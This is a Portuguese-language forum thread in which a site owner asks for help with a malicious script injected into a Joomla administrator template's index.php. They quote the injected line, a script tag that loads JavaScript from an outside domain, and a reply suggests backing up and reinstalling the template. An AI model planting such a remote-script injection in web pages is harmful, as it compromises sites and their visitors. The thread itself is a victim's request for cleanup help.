Ajuda com Script Malicioso

Será que alguem me pode ajudar com este script malicioso que atacou o meu site.

<?php
[color=#FF0000:3gl7i88z]/<script type="text/javascript" src=" myshopper-online.info/jquery.php"></script> ;[/color:3gl7i88z]
**
* @package Joomla.Administrator
* @subpackage Templates.bluestork
* @copyright Copyright (C) 2005 - 2012 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/

Localizei no index.php do template de administração "bluestork" , mas quando o removo assim que faço refresh no filezilla ele volta a aparecer.

Já na area de administração entro normalmente mas não consigo entrar em nenhum menu, pois aparece-me este erro:
Parse error: syntax error, unexpected '/' in /home/lpt1/public_html/administrator/templates/bluestork/index.php on line 2

Será que alguem já possou pelo mesmo, ou que me possa ajudar.
Este é o site em questão [url=http://WWW.L37.pt" onclick="window.open(this.href);return false;]http://WWW.L37.pt[/url]

Obrigado

Nesse segundo caso parece que ele está reclamando que existe um erro na index do template na linha 2.

Tente fazer um backup do site antes e depois excluir o template e reinstalar? <!-- s:ok: --><img src="{SMILIES_PATH}/ok.gif" alt=":ok:" title="Ok" /><!-- s:ok: -->